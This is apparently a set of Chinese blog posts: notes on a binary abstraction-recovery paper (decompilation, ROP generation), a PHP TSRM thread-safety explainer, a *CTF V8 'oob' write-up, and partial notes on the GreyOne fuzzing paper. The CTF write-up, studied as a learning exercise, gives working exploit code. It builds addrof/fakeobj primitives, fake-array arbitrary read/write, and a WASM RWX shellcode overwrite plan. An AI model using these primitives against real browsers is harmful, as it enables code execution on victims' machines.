Abstraction Recovery for Scalable Static Binary Analysis

paper

Abstract

  • 静态的二进制分析相对于静态源码审计是更困难的,因为二进制处于更底层的位置,缺少了高层的抽象,例如变量,类型,函数,控制结构。

  • 提出了一种抽象恢复的静态二进制分析技术

  • 抽象恢复的前提是很多二进制程序是高层的抽象语言编写的,而且抽象的源代码更适合分析。

  • 抽象恢复的两个应用

    • c语言形式的反编译
    • rop chain的自动生成
  • 抽象恢复并不能应用到所有的二进制分析。

Overview

image-20200717090433767
  • 静态分析和动态分析对比

    • 准确性
      • 动态分析建立在程序执行的基础上,是程序真实存在的行为。
    • 覆盖率
      • 动态分析的输入可能无法覆盖所有程序路径,可能会导致一些bug的miss,但静态分析可以充分考虑这些路径。
    • 环境影响
      • 静态分析需要对外部环境建模,例如syscall,外部函数调用等等。
    • 副作用
      • 静态分析可以避免待测程序运行起来对系统的影响。当待测程序是untrust的时候这非常有必要。
  • 二进制分析的优点

    • 终端用户适用性
      • 二进制分析可以有效的适用于所有可以运行的二进制,而不需要知道源码。
    • 未定义行为
      • 在source 层面,可能有一些语法是比较模糊的,但是在二进制层面,我们可以知道它真正的执行过程,比如一些agressvie optimizers可能造成一些优化带来的安全问题。程序的最终运行还是依赖于编译器,优化程度,flags 等等。
    • 二进制特征
      • 有一些程序只能在二进制层面分析,因为关注的属性并不在source层面。比如automatic exploits generation(AEG),需要自动化的检测漏洞并构造exploit,AEG需要了解stack frame分部和padding的信息。
    • 语言无关
      • 二进制分析可以适用于不同语言编译出来的二进制程序。从长远来看,可以避免单独给每一门语言写一个独立的analysis tool,是一种非常不同的选择。
  • 二进制分析中的挑战

    • 复杂的语义
      • 一些汇编指令是具有副作用的,比如在条件跳转时,需要flag的信息。如果完全考虑这些情况,对每个汇编指令建模时,将非常复杂。
    • 抽象的缺失
      • 基于source层面的静态分析是无法直接用到二进制的层面的,在编译过程中移除了variables,types,functions,control-flow structure的相关语法结构,而生产一些实际指令,基于实际指令的分析要难于对抽象语法的分析,例如一个局部变量,在source里面有明确的定义,在二进制层面就被放在栈上,可能难以通过栈的结构去区分这些局部变量。
      • 通过不同语言编译出来的二进制,难以在二进制层面有一个自然表示。
    • 间接调用
      • undecidable problem
      • unsound:导致不完整的CFG 或者 过于冗余的CFG
  • 现存二进制分析的方法

    • 中间语言

      • Binary Analysis Platform(BAP)

      • 可以显示的把机器语言产生的副作用flag表示出来

        image-20200717202418139
    • 控制流重建

      • 尝试处理间接调用,恢复CFG
  • 抽象恢复

    • 前提:(1 二进制程序通常是从高层的抽象语言编译而来 (2 这些高层的抽象语言更适合做静态分析

    • 方法论:(C or gadget abstractions)

      • 已被编译的应用通过抽象恢复 计算出 抽象程序的行为中可观测的属性
      • 通过抽象恢复再分析要比直接分析应用更快
    • 最大的motivation: the success of static source analysis

    • 源程序 和 二进制程序最大的不同:抽象层次的不同

Source-code Abstractions

  • 反编译器应该关注的两个方面:

    1. 从实际分析出发,尽可能恢复有利于后续分析的抽象表示。
    2. 保证抽象恢复的结果是正确的。
  • 反编译器主要恢复两种抽象类型:

    1. 数据类型抽象
    2. 控制流抽象
  • Phoenix的控制流结构化算法基于structural analysis

    • semantics-preservation
    • iterative refinement
  • 背景知识:

    • 控制流分析:

      • 控制流图用 形式化的表示,其中 表示BB集合, 表示edge集合, 表示entry, 表示exit
      • Domination
        • dom ,表示从 的每一条路径都经过了
        • pdom ,表示从 都每一条路径都经过了
        • immediate dominator : 这个 是唯一, 只是 的dominator。eg:f -> d -> n, f和d都是n的dominator,但是d是n的immediate dominator。关于 immediate post-dominator的定义反之亦然。
        • Loops 定义:若 edge 是一条后向边,则 dom ,每一条后向边都可以来定义一个头是 的natural loop。
        • natural loop 定义: 一个具体的naturl loop是指可以不通过 到达 的所有node的集合和 本身。
    • Structural Analysis:

      • 解释:Structural Analysis 是一种用来恢复高层控制结构的数据流结构结构化的算法,eg:if-then-esle,loops。

        image-20200718165450251
    • SESS Analysis and Tail Regions:

      • motivation:由于Structural Analysis 是无法识别C循环结构中的break和contiune,提出了single exit single successor(SESS)来标识存在这样的退出状态的语句。

      • 方法:将exit状态转化成tail regions。eg:body;break; 将转化成一个tail regionsimage-20200718170447307

  • Overview:

    image-20200718171031912
    • 控制流图恢复:

      • 使用BAP,生成BIL。
    • 变量和类型恢复:

      • 使用的TIE( TIE: Principled reverse engineering of types in binary programs),TIE使用Value Set Analysis(WYSINWYX: what you see is not what you execute)来恢复变量地址,然后对变量使用基于静态和条件约束类型推导。
    • 控制流结构化恢复:

      • 以CFG作为基础,在CFG中寻找结构化的shape,相对于在CFG中刻画了一个子图。
      • 两个特征:
        • 迭代细化
        • 语义保留
    • 语句翻译(C格式):

      • 在CFG上通过对节点结构化的标记,需要把每一个节点所对应的BIL语法翻译成更高层的HIL,eg:比如翻译函数调用,翻译器通过callside处的栈指针,并使用类型信息来计算传参数量。
      • 优化可读性:
        • 删除冗余的死代码

        • untiling optimization (不知道是什么?)

        • tiling: 使用源语言的ast,让汇编语言尽可能的覆盖语法节点,比如,首先用一个add指针来填充y+z,然后使用一个div指针来覆盖除法。

        • untiling algorithm :输入一些statements,输出相同语义的高层次的statements,eg: 表示从a&b中提取最高位的1,等价于 ,(我没有理解这里的等级关系)

  • 语义保留结构分析和迭代式的控制流结构化

    • 语义保留:

      • motivation:structural analysis可以识别出与CFG可达性一致的控制流,但是无法识别于CFG语义一致的控制流。(if-true-false)eg:当x=1 和 y=2时,在源CFG上,在x=1时已经退出loop,但是在中间图上,y=2也可以退出loop,这显然是不对的。image-20200718181839953
    • 方法:在structural analysis中很多结构化的策略都是保留语义的,但是loop这样的结构化策略,是会忽略语义的。Phoenix通过把这些会丢失语义的策略,替换成保留语义。

    • 迭代细化

      • refinement : 在CFG上去掉边,并在对应地方加上goto语句

      • Iterative Refinement:重复执行refinement过程,直到可以结构化可以运行。

      • refinement 工作要额外小心,eg:判断b[i]会不会造成溢出,需要考虑i的取值,i是一个循环不变量。如果将while换成goto,可能就无法识别这个地方是安全的。

        image-20200718183906656
    • 算法概览

      • 无环模式(当前处理的node 处于无环控制流里面)
        • acyclic schemas
        • switch region
      • 环模式 (当前处理的node 处于环控制流)
        • cyclic schemas
        • loop
    • 无环区域

      • 无环区域定义:C语言中无环控制流操作,指令序列,条件跳转,switch image-20200720125702597

      • 从直觉上如果仅靠shape的定义是很难区分控制流结构,例如一个switch 有两个case x=2 和x=3,其实他也是满足if-then-else结构的,但是if-then-else需要有完全相反的条件。

    • 尾部区域和虚拟边

      • motivation:可能在CFG上以某点n为子图无法匹配任何区域,提出了refine的概览,可能通过尝试去掉CFG上的某些边,可以去匹配一些控制流,这个称为refine 迭代过程,直到某次refine之后可以匹配某一个控制流结构以后,就停止refine。

      • 虚拟边:去掉CFG上一些边以后可能改变语义,虚拟边的就是用于在保留语义的情况下去掉一些边。分为两种情况的边:

        • 带条件的有向边
        • 无条件的有向边

        例如 是无条件的边,当去掉这条边以后,在 出标记一个标签l,再将 标识为 .这样结构再后面可能会被翻译成break 或者 contiune。

        image-20200720202225155
    • switch 精修

      • 首先明白incomplete 和 complete switch的区别,下图从n出发所有条件 都是相对立的,即完整的switch为 ,不完整的switch则相反。

      • switch 匹配策略:

        • 通过refined 虚拟化所有指向switch 头后面的节点。

        • 确保switch里面的node都有相同的后继节点:如果switch头节点的immediate post-dominator是所有case节点的后继,那么这个节点就是switch的 fall through后继。

        • switch的fall through的后继满足三个条件:

          • 首先是所有case节点的后继
          • 不是case节点本身
          • 这个节点有最多的来case节点的入度边。 image-20200720231558231
        • switch candidate(候选):通常先匹配IncSwitch,一个通常策略是switch的cases分为jump table 和default。

          image-20200720233827301
    • 环区域

      • 如何在节点n处区别不同的循环结构:通过找指向n的后向边,每一条后向边 可以定义一个循环体,循环体的节点包括那些可以不通过节点n就能到达 的所有节点。(其中n为循环头)先优化处理拥有比较小的循环体的循环结构,来优先匹配更大的循环体(因为没有针对嵌套循环的策略)。

      • 三种不同类型的循环结构:(主要条件判断时机) image-20200721130226780

      • 特殊的SelfLoop: (可能在c语言里面的呈现形式) image-20200721130421151

        但是在结构匹配的时候,可以看到selfloop是没有exit边的,这是可以通过虚拟边做到的,也就是形成所谓的尾区域,来匹配一些 break,contiune,goto等语法结构。

    • 循环结构精修:

      • motivation: 如果发现了一个循环头,但是无法匹配任何循环结构,就开始进行循环结构精修。有环区域什么时候会匹配失败一个循环结构:(1 这个区域有多个入口 (2 这个区域有多个出口 (3 循环体无法被折叠。

      • step1:当有多个入口时,选择有着入度边最多的那个入口为循环头。指向其他入口的边将会被虚拟化

      • step2: 识别循环结构类型:(1 如果有一条exit边从循环体出来,则 循环结构为while (2 如果有循环结构后向边的source节点有一条出度边,则循环结构为dowhile (3 否则,只要有exit边,则循环结构为selfloop。 exit边用于确定循环结构的后继节点,反过来后继节点也可以确定循环结构保护了那些节点。

      • break /contiune:指向循环头的边 用contiune 尾区域来表示。指向循环结构后继节点的边用break 区域来表示,其他所有的虚拟边将变成goto。

      • 精修和非精修的区别:精修在于减少goto的。 image-20200724101606866

      • step3: 去掉所有影响循环体折叠的边,eg:有一个goto指向了循环体的内部

    • 最后的排序精修

      • Motivation :当一次迭代过程结束时,如果cfg中的没有一个节点可以被结构化,此时会尝试去掉cfg中的一些边,直到某些节点可以进行结构化。这个过程具有最小的优先级。

      • 去掉边的策略:在dominator tree上进行,优先去掉

        • A--->B ,存在从entry可以不通过A到达B的点。
        • A--->B, A点到exit只能通过B的边。

        这个策略我没太看懂,我觉得需要从大量例子来总结这样的修剪策略

Ceneral Abstractions

  • Gadget Abstractions

    • 源代码抽象的不足:
      • 源代码抽象不能表示所有二进制的语义
      • 源代码抽象不能表示一个二进制的所有行为
      • 隐藏源代码的实际行为,导致一些细节无法被发现,eg: undefined behaviors
    • 一些难以抽象的程序行为
      • get_pc_chunk 返回一个程序计数器的值
      • 代码混淆
      • 编译器优化,eg: inline function (高度优化的程序,可能运行更快但是分析越慢)
    • general abstractions: 指在所有二进制里面都可以适用的抽象。
    • gadget abstraction:gadget 指程序片段,并不需要具体的语义。
  • rop的自动构造:

    • gadget 收集
    • gadget 抽象
    • gadget 分配
    Screenshot_from_2020-07-25_16-57-57

    图上的Qool是面对gadget设计的一种高层次的语言,可以这样理解,c complier是为了把c语言翻译成可以运行的二进制,Qool可以类比,需要利用gadgets来实现运行我们的目标”程序“,Qool就是这样一种可以让你在高层次来进行编写自定义的程序,最后帮你翻译成gadgets的形式。在高层次编写的时候,你不需要关注gadget的类型和具体指令。c compiler可以使用所有汇编指令,但是Qool就只能使用提前收集好的gadgets。下面是Qool其中的语法:

Screenshot_from_2020-07-25_17-07-19

还需要一些关于gadget 类型的定义:

Screenshot_from_2020-07-25_17-08-15

通过Qool可以翻译成下面形式的语法树:

Screenshot_from_2020-07-25_17-13-40

拥抱php之线程安全

关于php tsrm机制的文章很多,但是都感觉没有讲到精髓,都是拿其相关的数据结构就一通讲,完全让人难以理解,最近工作涉及到了tsrm的东西,于是想自己总结一下tsrm,这短短不到800行的代码,是如何保证php的线程安全的,看着里面复杂的数据结构,可能让人难以入手。我想从线程安全的动机出发,维护一个线程安全需要什么?来帮助到有需要的人理解它,也给自己一个以后回过头来看的机会。 :)

overview

在理解整个过程的之前,我们从设计tsrm的动机出发,而不是直接去看tsrm是什么。在单线程的模式下,一个全局变量,无论怎样的存储都不会出问题,在php的设计过程中有一些全局变量,充当着非常重要的角色,例如:

  • compiler_globals
  • executor_globals

那么在多线程下,去访问全局变量就会出现问题,就所谓的非线程安全,解决方式是需要把相关的全局变量给每个线程都复制一份。这里面就设计一个量级的关系:

  • 线程的数量 t
  • 相关全局变量的数量 g

所以我们可能需要复制t * g 个全局变量,再理一下关系,每个线程都着各自独立的“全局变量”。我们先不论这个“全局变量“放在哪里,我们可能是可以知道有g个”全局变量“,如果我们尝试把每个线程所有全局变量都紧密的放在一起。

tsrm

可以看到相同全局变量的相对于起始位置都有着相同的offset,只是起始位置不同,在切换进程的时候,我们只需要切换这个其实地址起就行,这样相同的全局变量,我们可以用一个新的全局变量来代替,这个新的全局变量就代表所指全局变量的offset,有了这个offset,我们就能拿到真实的“全局变量”,而且可以保证原代码的一致性,我们只需要调整以前全局变量的操作即可,这就是我理解的tsrm的设计细节。所以关键的是:

  • 如何保证切线程的时候,存储线程全局变量的起始地址变化。
  • 如何确定这个”全局变量“的offset

如果了解这两个东西,其他的细节并不是问题。

solutions

先来解决最前面的两个基础量级问题:

  1. 线程数量的表示
  2. 全局变量数量的表示

总体上解决方案是给每一个线程去”拷贝“一份全局变量,那么我们需要知道 线程数量 和 全局变量的数量。

线程的保存

首先需要去抽象一个线程,然后把各个线程的信息保存下来。每个线程都会用一个tsrm_tls_entry结构来抽象,然后用一张表tsrm_tls_table串起来,

1
2
3
4
5
6
7
8
struct _tsrm_tls_entry {
void **storage;
int count;
THREAD_T thread_id;
tsrm_tls_entry *next;
};

static tsrm_tls_entry **tsrm_tls_table

(我这里不会一上来,跟说书一样就马上开始介绍每个字段的意义,因为没有动机,你会很难理解为什么这个字段存在)

这个tsrm_tls_table是一个二级指针,其实它终会指向一个tsrm_tls_entry的指针数组。直观上你可能会想,如果来一个tsrm_tls_entry,就把它的地址放在这个数组里面不就行了?其实不然。这个指针数组在tsrm设计里面,它其实是一张hashtable:

tsrm2

你如果你熟悉HashTable,这看起来像不像用链表的形式来解决哈希冲突?那么hash值怎么计算呢?这里策略非常简单,直接用tsrm_tls_entry->thread_id % tsrm_tls_table_size,前面表示用线程号 模 tsrm_tls_table的长度去余。 所以这里tsrm_tls_table长度从一开始确定就不会变了,保持映射关系。默认情况,这个表的长度一般是1(我对这个长度持怀疑态度),如果长度为1,那么他就是一张单链表。

其中tsrm_tls_table是一个真正的全局变量,用来存储各个线程的信息

全局变量的保存

为了避免线程操作全局变来带来的安全问题,我们把全局变量给每一个线程都“拷贝”了一份,那么试想,新创建了一个线程,我们需要把所有相关的全局变量都给它复制一份,那我们得先知道到底有多少个相关全局变量。所以在tsrm里面也用了一张类似tsrm_tls_table的东西来存储相关所有的全局变量。

为了存储全局变量,首先也得抽象全局变量。每一个全局变量用tsrm_resource_type来抽象表示,然后用一张resource_type_table表串起来。

1
2
3
4
5
6
7
8
9
typedef struct {
size_t size;
ts_allocate_ctor ctor;
ts_allocate_dtor dtor;
size_t fast_offset;
int done;
} tsrm_resource_type;

static tsrm_resource_type *resource_types_table

resource_types_table指向是一个tsrm_resource_type数组。 tsrm3

线程相关全局变量

  • 每一个线程独立相关的全局变量放在哪?

    与线程相关的结构只有tsrm_tls_entry,那么线程中的全局变量的存储肯定是围绕这个结构的,我先给答案,其实有两个地方可以存储:

    • tsrm_tls_entry结构的尾部
    • tsrm_tls_entry->storage

    tsrm_tls_entry的storage指向是一个指针数组,其中存储了每一个线程相关的全局变量真实的结构。这个很容易理解。

    在tsrm_tls_entry尾部存储,是一种性能优化的策略。不需要你再去fetch storage。可以通过线程相关的全局变量相对于tsrm_tls_entry的位置,快速的读写线程相关的全局变量。

tsrm4
  • 线程切换时如何保证线程相关全局变量一致?

    前面已经讨论过了,这里只需要保证每次操作相关全局变量的时候,是从线程对应的tsrm_tls_entry里面获取的就行。这里直接是使用了pthread_key_create ,pthread_key_set,pthread_getspecific来维护每个线程独立的tsrm_tls_entry的结构。关于它们的使用具体可以看看多线程私有数据pthread_key_create,这里就不详细深入了。

  • 线程相关全局变量的更新

    除了前面提到的,新创建一个线程的时候,需要把相关的全局变量给它拷贝一份,还有一种情况是,当一个线程新增一个全局变量的时候,其他的变量也需要新增这个全局变量,需要保持同步。

    当新增一个全局变量的时候,这个时候会先放到resource_type_table里面,再循环遍历所有的线程tsrm_tls_entry把新的全局变量添加进去,这个细节问题需要考虑一下。

starctf-v8-oob

0x00 引

昨天端午节,外面下着暴雨,想起了一个一直想看的题,就开始捣鼓起来,调一会儿,玩一会儿,用了一个下午了解整个题,总觉得还是要记录下来点什么,网上关于这个题的writeup很多,也很精彩,但是我遇到了一个小小问题,似乎也没有准确答案 (太菜了,对v8一些内置系统还是不太熟悉),记录下来,看以后有没有机会能再弄清楚它。 ( 我会尽量用最简洁的语言来描述这个题的整个过程,然后记录一个问题

0x01 漏洞点和两个基础原语

从给题目给的diff可以看到新增了一个oob内置函数,从名字也暗示了你这是一个怎样的漏洞:

  • 当传参数量为1个时,取其数组的第length个元素直接返回
  • 当传参数量为2个时,将第二个参数的值写入其数组的第length元素
  • length == 其数组的长度
  • 对于这样内置函数,其第一个参数是指向receiver的this指针,所以上述描述在js里面调用来描述应该是:
    • 当传参数量为0个时,取其数组的第length个元素直接返回
    • 当传参数量为1个时,将其第一个参数的值写入其数组的第length元素

所以根据上面描述,可以很快确定这确实是一个oob,可以对receiver数组越界读或者写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

有了上面的基础,接下得让这个oob读写的操作变得有意义,直接引出jsobject的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 FixedArray ----> +------------------------+
| <Map> +<---------+
+------------------------+ |
| length | |
+------------------------+ |
| element 1 | |
| ...... | |
| element n | |
ArrayObject ---->-------------------------+ |
| <Map> | |
+------------------------+ |
| prototype | |
+------------------------+ |
| elements | |
| +----------+
+------------------------+
| length |
+------------------------+
| properties |
+------------------------+
是不是觉得这个结构非常的神奇,可扩展的FixedArray在JSObject头前面,这让oob的操作就变得有意义了,oob操作是完全可以读写Map的,这里就简单介绍一下map

"每个实例都有一个描述其结构的map,一般来说由相同顺序、相同属性名(同一构造函数)构建的对象,共享同一个map JSObject<Map> 也被称为 Hidden Class,这是由于最早 V8 在 Design Elements 将其称之为 Hidden Class,故一直沿用至今。也就说,在 V8 中具有相同构建结构的 JSObject 对象,在堆内具有相同的内存(空间)布局。"

所以不同类型的Array例如,objectArray或者 floatArray都有描述其结构的map, 而这些都属于JSObject,决定他们不一样的就是map。

oob操作给了我们可以泄露map和写map的机会,如果我把objectArray的map换成floatArray的map,会产生什么样的效果呢? 这里就产生类型混淆,floatArray的element里面是直接储存浮点数的值,而objectArray的element里面存储是其他object的引用。

所以我们把objectArray的map换成floatArray的map,将导致v8会以对floatArray的操作方法来操作objectArray,直接就导致了可以读取其他object的引用地址。相反将floatArray的map换成objectArray的map,将会导致我们有机会直接改写objectArray的element里面对其他object的应用。

这里就引出下面两个基础原语: - 泄露某个obj的地址 - 从某个地址得到一个obj

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
var obj_arr = [console.log]; //objectArray
var obj_arr_map = obj_arr.oob();//objectArray's map
// Create a Float array, and remember its map
var float_arr = [2.2]; //floatArray
var float_arr_map = float_arr.oob();//floatArray's map

function get_addr_of(obj)
{
// Set the array's object to the object we want to get address of
obj_arr[0] = obj;
// change object array to float array
obj_arr.oob(float_arr_map);
// save the pointer
let res = obj_arr[0];
// return object array to being object array
obj_arr.oob(obj_arr_map);
// return the result
return res;
}

function create_object_from(float_addr)
{
// Set object array to be float array
obj_arr.oob(float_arr_map);
// Set the first value to the address we want
obj_arr[0] = float_addr;
// Set the array to be object array again
obj_arr.oob(obj_arr_map);
// Return the newly crafted object
return obj_arr[0];
}

0x02 任意读写原语

现在要通过前面的两个基础原语,得到我们真正想要的RW原语,简单思考一下,这里过程让我想到了在php里面怎么用类型混淆来做rw,最简单就是有一段可控空间,造一个string类型的zval出来,拿到它的引用,就可以达到rw的功能,其实这里也一样,我们也可以造一个js里面基础类型,这里选择造一个floatArray出来。

1
2
3
4
5
6
7
8
9
10
11
var fake_arr=[
float_arr_map,//<MAP>
bigint2float(0n),//prototype
bigint2float(0x41414141n), //elements
bigint2float(0x1000000000n),//lengths
1.1,
2.2,
]

//0X40 根据fake_arr大小变化
var fake_obj_arr = float2bigint(get_addr_of(fake_arr))-0x41n+0x10n;

通过改变elements的指向,就可以实现任意rw的功能,也就拿到了下面两个rw的原语。

1
2
3
4
5
6
7
8
9
10
11
function read64(addr){ //bigint
fake_arr[2]=bigint2float(addr-0x10n+0x1n);
let res=fake_obj[0];
return float2bigint(res);
}

function write64(addr,data){//bigint,bigint
fake_arr[2]=bigint2float(addr-0x10n+0x1n);
console.log(float2bigint(fake_arr[2]).toString(16));
fake_obj[0]=bigint2float(data);
}

0x03 利用过程

这里有很多的利用方法,但是这里我只记录一种,通过它来说明我遇到的一个问题。

有了rw,我们得想办法劫持控制流,在v8里面的wasm特性就是一个非常不错的选择。

1
2
3
4
5
6
7
8
9
10
11
var code_bytes = new Uint8Array([
0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x07,0x01,0x60,0x02,0x7F,0x7F,0x01,
0x7F,0x03,0x02,0x01,0x00,0x07,0x0A,0x01,0x06,0x61,0x64,0x64,0x54,0x77,0x6F,0x00,
0x00,0x0A,0x09,0x01,0x07,0x00,0x20,0x00,0x20,0x01,0x6A,0x0B,0x00,0x0E,0x04,0x6E,
0x61,0x6D,0x65,0x02,0x07,0x01,0x00,0x02,0x00,0x00,0x01,0x00]);
const wasmModule = new WebAssembly.Module(code_bytes.buffer);
const wasmInstance =
new WebAssembly.Instance(wasmModule, {});
const { addTwo } = wasmInstance.exports;

addTwo(5, 6)
通过wasm的语法引入了一个函数,在wasm的解析过程中,会开辟一个rwx的page,会把引入的函数code放到这个page上,所以这里如果我们能拿到这个page的位置,把相应的函数code覆盖成我们的shellcode,那么在通过函数表调用的过程中就会直接执行我们的shellcode。

拿到这个page的过程是动态调试的一个过程,其实也可以看代码把结构上的相对offset算出来。

1
2
%DebugPrint(wasmInstance);
%SystemBreak();

通过GDB断下来,用vmmap看一下rxw的页起始地址,再通过内存搜索找到对它引用的地址point_adr, 然后用point_adr 减去 wasmInstance_adr就可以拿到这个offset,这里具体值是0x87。

下面我们要找到存放函数code的具体位置,从rxw的页起始地址加 0x2,就是这个函数表的一个指针,指向的就是函数code位置。

后面过程就理所当然了,接着我遇到的问题就来了

0x04 一个小问题

在写shellcode过程中,出现了segmentfault的问题,这很奇怪,我注意到从一道CTF题零基础学V8漏洞利用这篇文章里面也提到这个问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> r  
[*] Success find libc addr: 0x000056420e8075b0
[*] find libc libc_free_hook_addr: 0x00007f16f641b8e8
... ...
RAX 0x7f16f6400000
... ...
► 0x56420e5756bd mov rax, qword ptr [rax + 0x30]
0x56420e5756c1 cmp rcx, qword ptr [rax - 0x8fe0]
0x56420e5756c8 sete al
0x56420e5756cb ret
... ...
Program received signal SIGSEGV (fault address 0x7f16f6400030)
pwndbg>

细心的童鞋应该会发现,我们要写的内存地址0x00007f16f641b8e8在write64时低20位却被程序莫名奇妙地改写为了0,从而导致了后续写入操作的失败。

这是因为我们write64写原语使用的是FloatArray的写入操作,而Double类型的浮点数数组在处理7f开头的高地址时会出现将低20位与运算为0,从而导致上述操作无法写入的错误。这个解释不一定正确,希望知道的童鞋补充一下。出现的结果就是,直接用FloatArray方式向高地址写入会不成功。

对于作者关于这个问题的解释,我觉得有点奇怪,最后作者通过DataView解决了这个问题,而我这里不需要DataView似乎也能解决问题。下面是我关于这个问题的探究过程,也不一定正确,所以只做参考。

我首先打印了一下出现这个问题时候的stacktrace

1
2
3
4
5
6
7
#0  0x0000563087f2cd2d in v8::internal::FixedArrayBase::IsCowArray() const ()
#1 0x0000563087e61003 in v8::internal::GetStoreMode(v8::internal::Handle<v8::internal::JSObject>, unsigned int, v8::internal::Handle<v8::internal::Object>) ()
#2 0x0000563087e60dea in v8::internal::KeyedStoreIC::Store(v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>) ()
#3 0x0000563087e652c7 in v8::internal::Runtime_KeyedStoreIC_Miss(int, unsigned long*, v8::internal::Isolate*) ()
#4 0x0000563088391359 in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit ()
#5 0x00005630883dc8d9 in Builtins_StaKeyedPropertyHandler ()
#6 0x0000563088304766 in Builtins_InterpreterEntryTrampoline ()

这个出现一个过程是Runtime_KeyedStoreIC_Miss,然后我去具体看这个地方代码,首先 IC是个什么东西,是一种V8里面内置优化过程叫inline cache,用于优化下面的过程:

1
2
3
4
5
6
7
function getX(point) {
return point.x;
}

for (var i = 0; i < 10000; i++) {
getX({x : i});
}

其中point.x 可以理解为Runtime_Load(point, "x");

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function Runtime_Load(obj, key) {
var desc = obj.map().instance_descriptors();
var desc_number = -1;
for (var i = 0; i < desc.length; i++) {
if (desc.GetKey(i) === key) {
desc_number = i;
break;
}
}

if (desc_number === -1) {
return undefined;
}

var detail = desc.GetDetails(desc_number);
if (detail.is_inobject()) {
return obj.READ_FIELD(detail.offset());
} else {
return obj.properties().get(detail.outobject_array_index());
}
}

上前面那种情况下传入的JSObject的map都是一样,属性x的存储位置也是相同的,那么就可以存储一个键值对用来保存 map和对应x的存储位置。在传入obj的map相同的情况下,直接从缓存位置读取:

1
2
3
4
5
6
7
8
9
10
11
function LoadIC_x(obj) {
if (obj.map() === cache.map) {
if (cache.offset >= 0) {
return obj.READ_FIELD(cache.offset);
} else {
return obj.properties().get(cache.index);
}
} else {
return Runtime_LoadIC_Miss(obj, "x");
}
}

有了这个IC处理过程的基础,我们再看到底是哪出错了

1
return  receiver->elements()->IsCowArray() ? STORE_NO_TRANSITION_HANDLE_COW: STANDARD_STORE;
这里地方有问题,似乎这里判断一下fixedArray 是不是cowArray类型,但是我们造fake_obj 的elements是指向rwx节上的,并不能保证fixedArray的完整性,所以这里出问题了,那么我的想法是不让它进入这个IC miss的过程,miss发生在哪一步呢?
1
2
3
4
function write64(addr,data){//bigint,bigint
fake_arr[2]=bigint2float(addr-0x10n+0x1n);
fake_obj[0]=bigint2float(data); //fake_obj[0]这里发生了miss
}

所以我的想法是先用write64正常写一次,让IC建立储存关系,然后让后面的load/store直接使用cache里面的关系,从实验中,证明了我这样做的方法是可行的!但是我不能保证我上面的想法是对的。所以这个问题我想记录下来,看以后能不能真正的去理解它

about

http://www.hackitek.com/starctf-2019-chrome-oob-v8/ https://www.freebuf.com/vuls/203721.html https://zhuanlan.zhihu.com/p/28790195 https://www.anquanke.com/post/id/207483

GreyOne: 一种基于数据流敏感的模糊测试方法

背景

当使用数据流分析来指导fuzzer探索更深的路径或者用来发现漏洞时,已经在实践中被证明是一种非常有效的方式,在该文中着眼于动态污点分析,传统的污点分析,通常实现起来有存在后面几种缺陷:(1 工作量是比较大的,(2 不精确 ,(3 速度慢,(4 对fuzzing的影响是非常低效的

在该文章中,提出了一种名叫 GreyOne的基于数据流敏感的fuzzing解决方法,引入了一个新的轻量级且sound的以fuzzing为驱动的污点推理过程(FTI),通过不断地mutating输入,并且监视变量值的变化来推断变量是否被污染。以这种方式为基础,建立了一个针对如何mutating某个输入seed优先级的模型,来决定探索哪条分支和mutate输入seed的哪个一个字节。 更进一步,描述每个独立的输入seed的约束符合性,用来优化fuzzing的进化方向。

前人工作的方法和不足

基于变异的fuzzing策略,被广泛应用,其中最核心的工作是如何决定fuzzer的进化方向,确切地说是针对一个特定的输入seed,该如何mutate它,使它能执行到更深的路径和满足特定的数据流约束来触发漏洞。

一个比较普遍的解决方案是通过符号执行,但是符号执行通常实现起来是一个非常重的框架,并不适用于稍微大一点应用,对于比较符号的约束条件也是很难求解的,比如单向函数,还有一些其他方案,比如使用深度学习和强化学习来增强fuzzer的效果,但是它们都刚处于起步状态,并没有很明显的优化效果。

数据流分析已经在实践中得到了证明,对fuzzer是有效果的,比如TaintScope用来定位checksum的位置,VUzzer用来定位出现在路径条件上的值,Angora用路径条件来刻画输入模型,这些方案都使用了污点分析来解决如何去mutating 一个输入seed,并且都有不错的效果。

但是传统动态污点分析有很多限制,前面也已经提到过了,比如VUzzer只支持x86平台,因为传统的污点分析需要对每一个独立的指令,编写一个传递规则,对于外部函数和系统调用,还需要建立对应的模型,实际并不精确,因为被污染的值,可能会影响路径条件,进一步影响其他的变量,这种情况就是通常说的隐式数据流,如果隐式的数据流被忽略,将会导致under taint的问题,相反如果完全考虑这样的情况,也将会导致over taint。最后整个分析过程将极其地慢。

挑战和解决思路

通过研究上述的多种限制,提出3个问题,该论文也是围绕着三个问题进一步展开。

  1. 如何通过轻量级且精确的污点分析来引导高效的fuzzing?
  2. 如何通过污点分析来有效地指导mutation过程?
  3. 如何通过数据流的特性来优化fuzzer的进化方向?

GreyOne的流程图

image-20200615225036895
  1. 种子的生成和更新
  2. 种子的选择
  3. 种子的变异
  4. 测试和追踪

解决方案主要围绕下面三个改进展开:

Fuzzing-driven Taint Inference (FTI)

0x01 Overview

  1. 首先是个什么东西:通过fuzzing来监测变量值的变化,从而推理哪些变量是否可能被污染。(这是动态执行赋予的特性,羡慕

